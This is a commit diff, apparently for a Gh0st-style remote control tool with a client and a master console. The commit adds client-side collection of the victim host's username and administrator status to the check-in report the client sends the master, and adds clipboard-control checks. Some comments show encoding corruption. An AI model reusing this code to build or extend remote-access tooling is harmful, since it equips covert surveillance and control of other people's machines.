Feature&fix: Show username on master program
This commit is contained in:
@@ -199,6 +199,7 @@ int main(int argc, const char *argv[])
|
|||||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||||||
CloseHandle(hMutex);
|
CloseHandle(hMutex);
|
||||||
|
hMutex = NULL;
|
||||||
#ifndef _DEBUG
|
#ifndef _DEBUG
|
||||||
return -2;
|
return -2;
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -261,6 +261,19 @@ std::string GetCurrentExeVersion()
|
|||||||
return "Unknown";
|
return "Unknown";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
std::string GetCurrentUserNameA() {
|
||||||
|
char username[256];
|
||||||
|
DWORD size = sizeof(username);
|
||||||
|
|
||||||
|
if (GetUserNameA(username, &size)) {
|
||||||
|
return std::string(username);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||||
{
|
{
|
||||||
LOGIN_INFOR LoginInfor;
|
LOGIN_INFOR LoginInfor;
|
||||||
@@ -338,6 +351,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
|||||||
LoginInfor.AddReserved(loc.c_str());
|
LoginInfor.AddReserved(loc.c_str());
|
||||||
LoginInfor.AddReserved(pubIP.c_str());
|
LoginInfor.AddReserved(pubIP.c_str());
|
||||||
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
|
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
|
||||||
|
BOOL IsRunningAsAdmin();
|
||||||
|
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
|
||||||
|
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||||
|
|
||||||
return LoginInfor;
|
return LoginInfor;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -767,6 +767,8 @@ enum LOGIN_RES {
|
|||||||
RES_CLIENT_LOC = 10, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
RES_CLIENT_LOC = 10, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
RES_CLIENT_PUBIP = 11, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
|
RES_CLIENT_PUBIP = 11, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
|
||||||
RES_EXE_VERSION = 12, // EXE<58>汾
|
RES_EXE_VERSION = 12, // EXE<58>汾
|
||||||
|
RES_USERNAME = 13, // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
RES_ISADMIN = 14, // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD>ԱȨ<D4B1><C8A8>
|
||||||
RES_MAX,
|
RES_MAX,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -2302,7 +2302,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
try {
|
try {
|
||||||
strIP = ContextObject->GetPeerName().c_str();
|
strIP = ContextObject->GetPeerName().c_str();
|
||||||
// 不合法的数据包
|
// 不合法的数据包
|
||||||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) {
|
if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) {
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
|
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
|
||||||
Mprintf(buf);
|
Mprintf(buf);
|
||||||
@@ -3049,9 +3049,10 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
CString strText;
|
CString strText;
|
||||||
std::string expired = res[RES_EXPIRED_DATE];
|
std::string expired = res[RES_EXPIRED_DATE];
|
||||||
expired = expired.empty() ? "" : " Expired on " + expired;
|
expired = expired.empty() ? "" : " Expired on " + expired;
|
||||||
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s\r\n上线信息: %s %d %s"),
|
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s %s%s\r\n上线信息: %s %d %s"),
|
||||||
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION],
|
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION],
|
||||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
|
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
|
||||||
|
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]",
|
||||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str());
|
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str());
|
||||||
|
|
||||||
// 获取鼠标位置
|
// 获取鼠标位置
|
||||||
@@ -3583,6 +3584,11 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
if (dlg)
|
if (dlg)
|
||||||
{
|
{
|
||||||
if (dlg == operateWnd)break;
|
if (dlg == operateWnd)break;
|
||||||
|
auto screen = (CScreenSpyDlg*)dlg;
|
||||||
|
if (!screen->m_bIsCtrl) {
|
||||||
|
Mprintf("【Ctrl+V】 [本地 -> 远程] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||||||
|
break;
|
||||||
|
}
|
||||||
// [1] 本地 -> 远程
|
// [1] 本地 -> 远程
|
||||||
auto files = GetClipboardFiles();
|
auto files = GetClipboardFiles();
|
||||||
if (!files.empty())
|
if (!files.empty())
|
||||||
@@ -3609,6 +3615,11 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
}
|
}
|
||||||
else if (g_2015RemoteDlg->m_pActiveSession)
|
else if (g_2015RemoteDlg->m_pActiveSession)
|
||||||
{
|
{
|
||||||
|
auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->m_pActiveSession);
|
||||||
|
if (!screen->m_bIsCtrl) {
|
||||||
|
Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||||||
|
break;
|
||||||
|
}
|
||||||
// [2] 远程 -> 本地
|
// [2] 远程 -> 本地
|
||||||
BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
|
BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
|
||||||
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
|
|||||||
Reference in New Issue
Block a user